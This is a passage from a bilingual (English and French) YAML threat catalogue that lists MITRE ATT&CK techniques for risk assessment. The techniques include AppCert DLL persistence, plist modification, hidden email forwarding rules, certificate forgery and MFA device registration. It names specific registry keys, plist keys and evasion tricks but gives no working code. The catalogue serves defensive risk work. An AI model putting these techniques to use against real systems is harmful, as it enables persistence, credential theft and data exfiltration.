          \ d\u2019un autre processus peut permettre d\u2019acc\xE9der \xE0 la m\xE9\
          moire du processus, aux ressources syst\xE8me/r\xE9seau et \xE9ventuellement\
          \ \xE0 des privil\xE8ges \xE9lev\xE9s. L\u2019ex\xE9cution via l\u2019injection\
          \ APC peut \xE9galement \xE9chapper \xE0 la d\xE9tection des produits de\
          \ s\xE9curit\xE9, car l\u2019ex\xE9cution est masqu\xE9e par un processus\
          \ l\xE9gitime.\nhttps://attack.mitre.org/techniques/T1055/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1020.001
    ref_id: T1020.001
    name: Traffic Duplication
    description: 'Adversaries may leverage traffic mirroring in order to automate
      data exfiltration over compromised infrastructure. Traffic mirroring is a native
      feature for some devices, often used for network analysis. For example, devices
      may be configured to forward network traffic to one or more destinations for
      analysis by a network analyzer or other monitoring device. (Citation: Cisco
      Traffic Mirroring)(Citation: Juniper Traffic Mirroring)


      Adversaries may abuse traffic mirroring to mirror or redirect network traffic
      through other infrastructure they control. Malicious modifications to network
      devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004)
      or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation:
      US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)


      Many cloud-based environments also support traffic mirroring. For example, AWS
      Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define
      specified instances to collect traffic from and specified targets to send collected
      traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation:
      Azure Virtual Network TAP)


      Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040),
      [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)
      depending on the goals and objectives of the adversary.

      https://attack.mitre.org/techniques/T1020/001'
    translations:
      fr:
        name: Duplication du trafic
        description: "Les adversaires peuvent exploiter la mise en miroir du trafic\
          \ afin d\u2019automatiser l\u2019exfiltration de donn\xE9es sur une infrastructure\
          \ compromise. La mise en miroir du trafic est une fonctionnalit\xE9 native\
          \ pour certains appareils, souvent utilis\xE9e pour l\u2019analyse du r\xE9\
          seau. Par exemple, les p\xE9riph\xE9riques peuvent \xEAtre configur\xE9\
          s pour transf\xE9rer le trafic r\xE9seau vers une ou plusieurs destinations\
          \ \xE0 des fins d\u2019analyse par un analyseur de r\xE9seau ou un autre\
          \ dispositif de surveillance. (Citation : Cisco Traffic Mirroring)(Citation\
          \ : Mise en miroir du trafic Juniper)\n\nLes adversaires peuvent abuser\
          \ de la mise en miroir du trafic pour refl\xE9ter ou rediriger le trafic\
          \ r\xE9seau via d\u2019autres infrastructures qu\u2019ils contr\xF4lent.\
          \ Des modifications malveillantes des p\xE9riph\xE9riques r\xE9seau pour\
          \ permettre la redirection du trafic peuvent \xEAtre possibles via [ROMMONkit](https://attack.mitre.org/techniques/T1542/004)\
          \ ou [Patch System Image](https://attack.mitre.org/techniques/T1601/001).\
          \ (R\xE9f\xE9rence : US-CERT-TA18-106A)(Citation : Blog Cisco Legacy Device\
          \ Attacks)\n\nDe nombreux environnements bas\xE9s sur le cloud prennent\
          \ \xE9galement en charge la mise en miroir du trafic. Par exemple, AWS Traffic\
          \ Mirroring, GCP Packet Mirroring et Azure vTap permettent aux utilisateurs\
          \ de d\xE9finir des instances sp\xE9cifi\xE9es \xE0 partir desquelles collecter\
          \ le trafic et des cibles sp\xE9cifi\xE9es auxquelles envoyer le trafic\
          \ collect\xE9. (Citation : Mise en miroir du trafic AWS)(Citation : Mise\
          \ en miroir des paquets GCP)(R\xE9f\xE9rence : Azure Virtual Network TAP)\n\
          \nLes adversaires peuvent utiliser la duplication du trafic conjointement\
          \ avec [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input\
          \ Capture](https://attack.mitre.org/techniques/T1056) ou [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)\
          \ en fonction des buts et objectifs de l\u2019adversaire.\nhttps://attack.mitre.org/techniques/T1020/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1647
    ref_id: T1647
    name: Plist File Modification
    description: "Adversaries may modify property list files (plist files) to enable\
      \ other malicious activity, while also potentially evading and bypassing system\
      \ defenses. macOS applications use plist files, such as the <code>info.plist</code>\
      \ file, to store properties and configuration settings that inform the operating\
      \ system how to handle the application at runtime. Plist files are structured\
      \ metadata in key-value pairs formatted in XML based on Apple's Core Foundation\
      \ DTD. Plist files can be saved in text or binary format.(Citation: fileinfo\
      \ plist file description) \n\nAdversaries can modify key-value pairs in plist\
      \ files to influence system behaviors, such as hiding the execution of an application\
      \ (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running\
      \ additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch\
      \ Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\
      \nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist`\
      \ file, which controls apps that appear in the Dock. Adversaries can also modify\
      \ the <code>LSUIElement</code> key in an application\u2019s <code>info.plist</code>\
      \ file  to run the app in the background. Adversaries can also insert key-value\
      \ pairs to insert environment variables, such as <code>LSEnvironment</code>,\
      \ to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation:\
      \ wardle chp2 persistence)(Citation: eset_osx_flashback)\nhttps://attack.mitre.org/techniques/T1647"
    translations:
      fr:
        name: Modification du fichier Plist
        description: "Les adversaires peuvent modifier les fichiers de liste de propri\xE9\
          t\xE9s (fichiers plist) pour permettre d\u2019autres activit\xE9s malveillantes,\
          \ tout en \xE9vitant et en contournant les d\xE9fenses du syst\xE8me. Les\
          \ applications macOS utilisent des fichiers plist, tels que le fichier <code>info.plist</code>,\
          \ pour stocker les propri\xE9t\xE9s et les param\xE8tres de configuration\
          \ qui informent le syst\xE8me d\u2019exploitation sur la fa\xE7on de g\xE9\
          rer l\u2019application au moment de l\u2019ex\xE9cution. Les fichiers Plist\
          \ sont des m\xE9tadonn\xE9es structur\xE9es en paires cl\xE9-valeur format\xE9\
          es en XML bas\xE9es sur la DTD Core Foundation d\u2019Apple. Les fichiers\
          \ Plist peuvent \xEAtre enregistr\xE9s au format texte ou binaire. (Citation\_\
          : fileinfo plist file description) \n\nLes adversaires peuvent modifier\
          \ les paires cl\xE9-valeur dans les fichiers plist pour influencer les comportements\
          \ du syst\xE8me, par exemple en masquant l\u2019ex\xE9cution d\u2019une\
          \ application (par exemple, [Fen\xEAtre cach\xE9e](https://attack.mitre.org/techniques/T1564/003))\
          \ ou en ex\xE9cutant des commandes suppl\xE9mentaires pour la persistance\
          \ (ex : [Agent de lancement](https://attack.mitre.org/techniques/T1543/001)/[Launch\
          \ Daemon](https://attack.mitre.org/techniques/T1543/004) ou [Applications\
          \ rouvertes](https://attack.mitre.org/techniques/T1547/007)).\n\nPar exemple,\
          \ les adversaires peuvent ajouter un chemin d\u2019acc\xE8s d\u2019application\
          \ malveillant au fichier \xAB ~/Library/Preferences/com.apple.dock.plist\
          \ \xBB, qui contr\xF4le les applications qui apparaissent dans le Dock.\
          \ Les adversaires peuvent \xE9galement modifier la cl\xE9 <code>LSUIElement</code>\
          \ dans le fichier <code>info.plist</code> d\u2019une application pour ex\xE9\
          cuter l\u2019application en arri\xE8re-plan. Les adversaires peuvent \xE9\
          galement ins\xE9rer des paires cl\xE9-valeur pour ins\xE9rer des variables\
          \ d\u2019environnement, telles que <code>LSEnvironment</code>, afin d\u2019\
          activer la persistance via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).\
          \ (Citation : persistance de wardle chp2)(R\xE9f\xE9rence : eset_osx_flashback)\n\
          https://attack.mitre.org/techniques/T1647"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.009
    ref_id: T1546.009
    name: AppCert DLLs
    description: 'Adversaries may establish persistence and/or elevate privileges
      by executing malicious content triggered by AppCert DLLs loaded into processes.
      Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code>
      Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session
      Manager\</code> are loaded into every process that calls the ubiquitously used
      application programming interface (API) functions <code>CreateProcess</code>,
      <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>,
      or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)


      Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this
      value can be abused to obtain elevated privileges by causing a malicious DLL
      to be loaded and run in the context of separate processes on the computer. Malicious
      AppCert DLLs may also provide persistence by continuously being triggered by
      API activity.

      https://attack.mitre.org/techniques/T1546/009'
    translations:
      fr:
        name: DLL AppCert
        description: "Les adversaires peuvent \xE9tablir une persistance et/ou \xE9\
          lever des privil\xE8ges en ex\xE9cutant du contenu malveillant d\xE9clench\xE9\
          \ par des DLL AppCert charg\xE9es dans des processus. Les biblioth\xE8ques\
          \ de liens dynamiques (DLL) sp\xE9cifi\xE9es dans la cl\xE9 de registre\
          \ <code>AppCertDLLs</code> sous <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\\
          Control\\Session Manager\\</code> sont charg\xE9es dans chaque processus\
          \ qui appelle les fonctions d\u2019interface de programmation d\u2019application\
          \ (API) utilis\xE9es de mani\xE8re omnipr\xE9sente <code>CreateProcess</code>,\
          \ <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>,\
          \ <code>CreateProcessWithTokenW</code> ou <code>WinExec</code>. (Citation\
          \ : Injection de processus \xE9lastique juillet 2017)\n\n\xC0 l\u2019instar\
          \ de [Process Injection](https://attack.mitre.org/techniques/T1055), cette\
          \ valeur peut \xEAtre utilis\xE9e de mani\xE8re abusive pour obtenir des\
          \ privil\xE8ges \xE9lev\xE9s en provoquant le chargement et l\u2019ex\xE9\
          cution d\u2019une DLL malveillante dans le contexte de processus distincts\
          \ sur l\u2019ordinateur. Les DLL AppCert malveillantes peuvent \xE9galement\
          \ fournir une persistance en \xE9tant continuellement d\xE9clench\xE9es\
          \ par l\u2019activit\xE9 de l\u2019API.\nhttps://attack.mitre.org/techniques/T1546/009"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1114.003
    ref_id: T1114.003
    name: Email Forwarding Rule
    description: "Adversaries may setup email forwarding rules to collect sensitive\
      \ information. Adversaries may abuse email forwarding rules to monitor the activities\
      \ of a victim, steal information, and further gain intelligence on the victim\
      \ or the victim\u2019s organization to use as part of further exploits or operations.(Citation:\
      \ US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries\
      \ to maintain persistent access to victim's emails even after compromised credentials\
      \ are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most\
      \ email clients allow users to create inbox rules for various email functions,\
      \ including forwarding to a different recipient. These rules may be created\
      \ through a local email application, a web interface, or by command-line interface.\
      \ Messages can be forwarded to internal or external recipients, and there are\
      \ no restrictions limiting the extent of this rule. Administrators may also\
      \ create forwarding rules for user accounts with the same considerations and\
      \ outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation:\
      \ Mac Forwarding Rules)\n\nAny user or administrator within the organization\
      \ (or adversary with valid credentials) can create rules to automatically forward\
      \ all received messages to another recipient, forward emails to different locations\
      \ based on the sender, and more. Adversaries may also hide the rule by making\
      \ use of the Microsoft Messaging API (MAPI) to modify the rule properties, making\
      \ it hidden and not visible from Outlook, OWA or most Exchange Administration\
      \ tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments,\
      \ administrators may be able to enable email forwarding rules that operate organization-wide\
      \ rather than on individual inboxes. For example, Microsoft Exchange supports\
      \ transport rules that evaluate all mail an organization receives against user-specified\
      \ conditions, then performs a user-specified action on mail that adheres to\
      \ those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that\
      \ abuse such features may be able to enable forwarding on all or specific mail\
      \ an organization receives.\nhttps://attack.mitre.org/techniques/T1114/003"
    translations:
      fr:
        name: "R\xE8gle de transfert d\u2019e-mail"
        description: "Les adversaires peuvent configurer des r\xE8gles de transfert\
          \ d\u2019e-mails pour collecter des informations sensibles. Les adversaires\
          \ peuvent abuser des r\xE8gles de transfert d\u2019e-mails pour surveiller\
          \ les activit\xE9s d\u2019une victime, voler des informations et obtenir\
          \ des informations sur la victime ou sur l\u2019organisation de la victime\
          \ afin de les utiliser dans le cadre d\u2019autres exploits ou op\xE9rations.\
          \ (R\xE9f\xE9rence : US-CERT TA18-068A 2018) De plus, les r\xE8gles de transfert\
          \ d\u2019e-mails peuvent permettre aux adversaires de conserver un acc\xE8\
          s persistant aux e-mails de la victime, m\xEAme apr\xE8s la r\xE9initialisation\
          \ des informations d\u2019identification compromises par les administrateurs.\
          \ (citation\_: pfammatter - r\xE8gles de bo\xEEte de r\xE9ception cach\xE9\
          es) La plupart des clients de messagerie permettent aux utilisateurs de\
          \ cr\xE9er des r\xE8gles de bo\xEEte de r\xE9ception pour diverses fonctions\
          \ de messagerie, y compris le transfert vers un autre destinataire. Ces\
          \ r\xE8gles peuvent \xEAtre cr\xE9\xE9es par le biais d\u2019une application\
          \ de messagerie locale, d\u2019une interface Web ou d\u2019une interface\
          \ de ligne de commande. Les messages peuvent \xEAtre transf\xE9r\xE9s \xE0\
          \ des destinataires internes ou externes, et il n\u2019existe aucune restriction\
          \ limitant l\u2019\xE9tendue de cette r\xE8gle. Les administrateurs peuvent\
          \ \xE9galement cr\xE9er des r\xE8gles de transfert pour les comptes d\u2019\
          utilisateur avec les m\xEAmes consid\xE9rations et r\xE9sultats. (Citation\
          \ : Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation : R\xE8\
          gles de transfert Mac)\n\nTout utilisateur ou administrateur de l\u2019\
          organisation (ou tout adversaire disposant d\u2019informations d\u2019identification\
          \ valides) peut cr\xE9er des r\xE8gles pour transf\xE9rer automatiquement\
          \ tous les messages re\xE7us \xE0 un autre destinataire, transf\xE9rer les\
          \ e-mails vers diff\xE9rents emplacements en fonction de l\u2019exp\xE9\
          diteur, etc. Les adversaires peuvent \xE9galement masquer la r\xE8gle en\
          \ utilisant l\u2019API de messagerie Microsoft (MAPI) pour modifier les\
          \ propri\xE9t\xE9s de la r\xE8gle, ce qui la rend masqu\xE9e et non visible\
          \ \xE0 partir d\u2019Outlook, d\u2019OWA ou de la plupart des outils d\u2019\
          administration Exchange. (citation\_: pfammatter - r\xE8gles de bo\xEEte\
          \ de r\xE9ception cach\xE9es)\n\nDans certains environnements, les administrateurs\
          \ peuvent \xEAtre en mesure d\u2019activer des r\xE8gles de transfert d\u2019\
          e-mails qui s\u2019appliquent \xE0 l\u2019ensemble de l\u2019organisation\
          \ plut\xF4t qu\u2019aux bo\xEEtes de r\xE9ception individuelles. Par exemple,\
          \ Microsoft Exchange prend en charge les r\xE8gles de transport qui \xE9\
          valuent tous les messages qu\u2019une organisation re\xE7oit par rapport\
          \ aux conditions sp\xE9cifi\xE9es par l\u2019utilisateur, puis effectuent\
          \ une action sp\xE9cifi\xE9e par l\u2019utilisateur sur les messages qui\
          \ respectent ces conditions. (Citation : R\xE8gles de flux de messagerie\
          \ Microsoft 2023) Les adversaires qui abusent de ces fonctionnalit\xE9s\
          \ peuvent \xEAtre en mesure d\u2019activer le transfert de tout le courrier\
          \ re\xE7u par une organisation ou d\u2019un courrier sp\xE9cifique.\nhttps://attack.mitre.org/techniques/T1114/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1074
    ref_id: T1074
    name: Data Staged
    description: 'Adversaries may stage collected data in a central location or directory
      prior to Exfiltration. Data may be kept in separate files or combined into one
      file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560).
      Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106)
      and bash may be used to copy data into a staging location.(Citation: PWC Cloud
      Hopper April 2017)


      In cloud environments, adversaries may stage data within a particular instance
      or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002)
      and stage data in that instance.(Citation: Mandiant M-Trends 2020)


      Adversaries may choose to stage data from a victim network in a centralized
      location prior to Exfiltration to minimize the number of connections made to
      their C2 server and better evade detection.

      https://attack.mitre.org/techniques/T1074'
    translations:
      fr:
        name: "Donn\xE9es mises en sc\xE8ne"
        description: "Les adversaires peuvent regrouper les donn\xE9es collect\xE9\
          es dans un emplacement central ou un r\xE9pertoire avant l\u2019exfiltration.\
          \ Les donn\xE9es peuvent \xEAtre conserv\xE9es dans des fichiers distincts\
          \ ou combin\xE9es en un seul fichier gr\xE2ce \xE0 des techniques telles\
          \ que [Archive Collected Data](https://attack.mitre.org/techniques/T1560).\
          \ Des shells de commande interactifs peuvent \xEAtre utilis\xE9s, et des\
          \ fonctionnalit\xE9s communes \xE0 [cmd](https://attack.mitre.org/software/S0106)\
          \ et bash peuvent \xEAtre utilis\xE9es pour copier des donn\xE9es dans un\
          \ emplacement de stockage. (Citation : PWC Cloud Hopper, avril 2017)\n\n\
          Dans les environnements cloud, les adversaires peuvent regrouper les donn\xE9\
          es au sein d\u2019une instance ou d\u2019une machine virtuelle particuli\xE8\
          re avant de les exfiltrer. Un adversaire peut [Cr\xE9er une instance cloud](https://attack.mitre.org/techniques/T1578/002)\
          \ et regrouper les donn\xE9es dans cette instance. (Citation : Mandiant\
          \ M-Trends 2020)\n\nLes adversaires peuvent choisir de regrouper les donn\xE9\
          es d\u2019un r\xE9seau victime dans un emplacement centralis\xE9 avant l\u2019\
          exfiltration afin de minimiser le nombre de connexions \xE9tablies \xE0\
          \ leur serveur C2 et de mieux \xE9chapper \xE0 la d\xE9tection.\nhttps://attack.mitre.org/techniques/T1074"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1649
    ref_id: T1649
    name: Steal or Forge Authentication Certificates
    description: "Adversaries may steal or forge certificates used for authentication\
      \ to access remote systems or resources. Digital certificates are often used\
      \ to sign and encrypt messages and/or files. Certificates are also used as authentication\
      \ material. For example, Entra ID device certificates and Active Directory Certificate\
      \ Services (AD CS) certificates bind to an identity and can be used as credentials\
      \ for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft\
      \ AD CS Overview)\n\nAuthentication certificates can be both stolen and forged.\
      \ For example, AD CS certificates can be stolen from encrypted storage (in the\
      \ Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced\
      \ certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)),\
      \ or directly from the Windows certificate store via various crypto APIs.(Citation:\
      \ SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub\
      \ GhostPack Certificates) With appropriate enrollment rights, users and/or machines\
      \ within a domain can also request and/or manually renew certificates from enterprise\
      \ certificate authorities (CA). This enrollment process defines various settings\
      \ and permissions associated with the certificate. Of note, the certificate\u2019\
      s extended key usage (EKU) values define signing, encryption, and authentication\
      \ use cases, while the certificate\u2019s subject alternative name (SAN) values\
      \ define the certificate owner\u2019s alternate names.(Citation: Medium Certified\
      \ Pre Owned)\n\nAbusing certificates for authentication credentials may enable\
      \ other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008).\
      \ Certificate-related misconfigurations may also enable opportunities for [Privilege\
      \ Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users\
      \ to impersonate or assume privileged accounts or permissions via the identities\
      \ (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003)\
      \ via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078)\
      \ for the duration of the certificate's validity, despite user password resets.\
      \ Authentication certificates can also be stolen and forged for machine accounts.\n\
      \nAdversaries who have access to root (or subordinate) CA certificate private\
      \ keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003)\
      \ by forging arbitrary authentication certificates for the victim domain (known\
      \ as \u201Cgolden\u201D certificates).(Citation: Medium Certified Pre Owned)\
      \ Adversaries may also target certificates and related services in order to\
      \ access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001)\
      \ ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified\
      \ Pre Owned)\nhttps://attack.mitre.org/techniques/T1649"
    translations:
      fr:
        name: "Voler ou falsifier des certificats d\u2019authentification"
        description: "Les adversaires peuvent voler ou falsifier des certificats utilis\xE9\
          s pour l\u2019authentification afin d\u2019acc\xE9der \xE0 des syst\xE8\
          mes ou des ressources distants. Les certificats num\xE9riques sont souvent\
          \ utilis\xE9s pour signer et chiffrer des messages et/ou des fichiers. Les\
          \ certificats sont \xE9galement utilis\xE9s comme mat\xE9riel d\u2019authentification.\
          \ Par exemple, les certificats d\u2019appareil Entra ID et les certificats\
          \ AD CS (Active Directory Certificate Services) sont li\xE9s \xE0 une identit\xE9\
          \ et peuvent \xEAtre utilis\xE9s comme informations d\u2019identification\
          \ pour les comptes de domaine. (Citation : O365 Blog Azure AD Device IDs)(Citation\
          \ : Pr\xE9sentation de Microsoft AD CS)\n\nLes certificats d\u2019authentification\
          \ peuvent \xEAtre \xE0 la fois vol\xE9s et falsifi\xE9s. Par exemple, les\
          \ certificats AD CS peuvent \xEAtre vol\xE9s \xE0 partir d\u2019un stockage\
          \ chiffr\xE9 (dans le registre ou des fichiers) (Citation : APT29 Deep Look\
          \ at Credential Roaming), de fichiers de certificats \xE9gar\xE9s (c\u2019\
          est-\xE0-dire [Informations d\u2019identification non s\xE9curis\xE9es](https://attack.mitre.org/techniques/T1552)),\
          \ ou directement \xE0 partir du magasin de certificats Windows via diverses\
          \ API de chiffrement. (Citation : SpecterOps Certified Pre Owned)(Citation\
          \ : GitHub CertStealer)(Citation : Certificats GitHub GhostPack) Avec les\
          \ droits d\u2019inscription appropri\xE9s, les utilisateurs et/ou les machines\
          \ d\u2019un domaine peuvent \xE9galement demander et/ou renouveler manuellement\
          \ des certificats aupr\xE8s des autorit\xE9s de certification d\u2019entreprise.\
          \ Ce processus d\u2019inscription d\xE9finit divers param\xE8tres et autorisations\
          \ associ\xE9s au certificat. Il convient de noter que les valeurs d\u2019\
          utilisation de cl\xE9 \xE9tendue (EKU) du certificat d\xE9finissent les\
          \ cas d\u2019utilisation de la signature, du chiffrement et de l\u2019authentification,\
          \ tandis que les valeurs de nom alternatif de l\u2019objet (SAN) du certificat\
          \ d\xE9finissent les autres noms du propri\xE9taire du certificat. (Citation\_\
          : Medium Certified Pre Owned)\n\nL\u2019utilisation abusive de certificats\
          \ pour les informations d\u2019identification d\u2019authentification peut\
          \ entra\xEEner d\u2019autres comportements tels que [Mouvement lat\xE9ral](https://attack.mitre.org/tactics/TA0008).\
          \ Les erreurs de configuration li\xE9es aux certificats peuvent \xE9galement\
          \ ouvrir la voie \xE0 une [\xE9l\xE9vation de privil\xE8ges](https://attack.mitre.org/tactics/TA0004),\
          \ en permettant aux utilisateurs d\u2019emprunter l\u2019identit\xE9 d\u2019\
          un utilisateur ou d\u2019usurper des comptes privil\xE9gi\xE9s ou d\u2019\
          obtenir des autorisations via les identit\xE9s (SAN) associ\xE9es \xE0 un\
          \ certificat. Ces abus peuvent \xE9galement permettre la [persistance](https://attack.mitre.org/tactics/TA0003)\
          \ via le vol ou la falsification de certificats qui peuvent \xEAtre utilis\xE9\
          s comme [comptes valides](https://attack.mitre.org/techniques/T1078) pendant\
          \ la dur\xE9e de validit\xE9 du certificat, malgr\xE9 la r\xE9initialisation\
          \ du mot de passe de l\u2019utilisateur. Les certificats d\u2019authentification\
          \ peuvent \xE9galement \xEAtre vol\xE9s et falsifi\xE9s pour les comptes\
          \ de machine.\n\nLes adversaires qui ont acc\xE8s aux cl\xE9s priv\xE9es\
          \ du certificat de l\u2019autorit\xE9 de certification racine (ou subordonn\xE9\
          e) (ou aux m\xE9canismes de protection/gestion de ces cl\xE9s) peuvent \xE9\
          galement \xE9tablir la [persistance](https://attack.mitre.org/tactics/TA0003)\
          \ en falsifiant des certificats d\u2019authentification arbitraires pour\
          \ le domaine victime (appel\xE9s certificats \xAB dor\xE9s \xBB). (Citation\_\
          : Medium Certified Pre Owned) Les adversaires peuvent \xE9galement cibler\
          \ des certificats et des services associ\xE9s afin d\u2019acc\xE9der \xE0\
          \ d\u2019autres formes d\u2019informations d\u2019identification, telles\
          \ que [Golden Ticket](https://attack.mitre.org/techniques/T1558/001), les\
          \ tickets d\u2019octroi de tickets (TGT) ou NTLM en texte brut. (Citation\_\
          : Medium Certified Pre Owned)\nhttps://attack.mitre.org/techniques/T1649"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1098.005
    ref_id: T1098.005
    name: Device Registration
    description: "Adversaries may register a device to an adversary-controlled account.\
      \ Devices may be registered in a multifactor authentication (MFA) system, which\
      \ handles authentication to the network, or in a device management system, which\
      \ handles device access and compliance.\n\nMFA systems, such as Duo or Okta,\
      \ allow users to associate devices with their accounts in order to complete\
      \ MFA requirements. An adversary that compromises a user\u2019s credentials\
      \ may enroll a new device in order to bypass initial MFA requirements and gain\
      \ persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation:\
      \ DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process\
      \ may require only a username and password to enroll the account's first device\
      \ or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft\
      \ 365 2022)\n\nSimilarly, an adversary with existing access to a network may\
      \ register a device to Entra ID and/or its device management system, Microsoft\
      \ Intune, in order to access sensitive data or resources while bypassing conditional\
      \ access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals\
      \ - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered\
      \ in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)\
      \ campaigns via intra-organizational emails, which are less likely to be treated\
      \ as suspicious by the email client.(Citation: Microsoft - Device Registration)\
      \ Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)\
      \ on an Entra ID tenant by registering a large number of devices.(Citation:\
      \ AADInternals - BPRT)\nhttps://attack.mitre.org/techniques/T1098/005"
    translations:
      fr:
        name: "Enregistrement de l\u2019appareil"
        description: "Les adversaires peuvent enregistrer un appareil sur un compte\
          \ contr\xF4l\xE9 par l\u2019adversaire. Les appareils peuvent \xEAtre inscrits\
          \ dans un syst\xE8me d\u2019authentification multifacteur (MFA), qui g\xE8\
          re l\u2019authentification aupr\xE8s du r\xE9seau, ou dans un syst\xE8me\
          \ de gestion des appareils, qui g\xE8re l\u2019acc\xE8s aux appareils et\
          \ la conformit\xE9.\n\nLes syst\xE8mes MFA, tels que Duo ou Okta, permettent\
          \ aux utilisateurs d\u2019associer des appareils \xE0 leurs comptes afin\
          \ de r\xE9pondre aux exigences MFA. Un adversaire qui compromet les informations\
          \ d\u2019identification d\u2019un utilisateur peut inscrire un nouveau p\xE9\
          riph\xE9rique afin de contourner les exigences MFA initiales et d\u2019\
          obtenir un acc\xE8s permanent \xE0 un r\xE9seau. (Citation : CISA MFA PrintNightmare)(Citation\
          \ : DarkReading FireEye SolarWinds) Dans certains cas, le processus d\u2019\
          auto-inscription MFA peut n\xE9cessiter uniquement un nom d\u2019utilisateur\
          \ et un mot de passe pour inscrire le premier appareil du compte ou pour\
          \ inscrire un appareil \xE0 un compte inactif. (R\xE9f\xE9rence : Mandiant\
          \ APT29 Microsoft 365 2022)\n\nDe m\xEAme, un adversaire disposant d\u2019\
          un acc\xE8s existant \xE0 un r\xE9seau peut inscrire un appareil aupr\xE8\
          s d\u2019Entra ID et/ou de son syst\xE8me de gestion d\u2019appareils, Microsoft\
          \ Intune, afin d\u2019acc\xE9der \xE0 des donn\xE9es ou \xE0 des ressources\
          \ sensibles tout en contournant les strat\xE9gies d\u2019acc\xE8s conditionnel.\
          \ (Citation : AADInternals - Enregistrement du dispositif)(Citation : AADInternals\
          \ - Contournement d\u2019acc\xE8s conditionnel)(R\xE9f\xE9rence : Microsoft\
          \ DEV-0537) \n\nLes appareils enregistr\xE9s dans Entra ID peuvent \xEA\
          tre en mesure de mener des campagnes de [spearphishing interne](https://attack.mitre.org/techniques/T1534)\
          \ via des e-mails intra-organisationnels, qui sont moins susceptibles d\u2019\
          \xEAtre trait\xE9s comme suspects par le client de messagerie. (Citation\
          \ : Microsoft - Enregistrement de l\u2019appareil) En outre, un adversaire\
          \ peut \xEAtre en mesure d\u2019effectuer une [inondation d\u2019\xE9puisement\
          \ de service](https://attack.mitre.org/techniques/T1499/002) sur un locataire\
          \ Entra ID en inscrivant un grand nombre de p\xE9riph\xE9riques. (Citation\
          \ : AADInternals - BPRT)\nhttps://attack.mitre.org/techniques/T1098/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1049
    ref_id: T1049
    name: System Network Connections Discovery
    description: "Adversaries may attempt to get a listing of network connections\
      \ to or from the compromised system they are currently accessing or from remote\
      \ systems by querying for information over the network. \n\nAn adversary who\
      \ gains access to a system that is part of a cloud-based environment may map\
      \ out Virtual Private Clouds or Virtual Networks in order to determine what\
      \ systems and services are connected. The actions performed are likely the same\
      \ types of discovery techniques depending on the operating system, but the resulting\
      \ information may include details about the networked cloud environment relevant\
      \ to the adversary's goals. Cloud providers may have different ways in which\
      \ their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation:\
      \ Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly,\
      \ adversaries who gain access to network devices may also perform similar discovery\
      \ activities to gather information about connected systems and services.\n\n\
      Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104),\
      \ \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).\
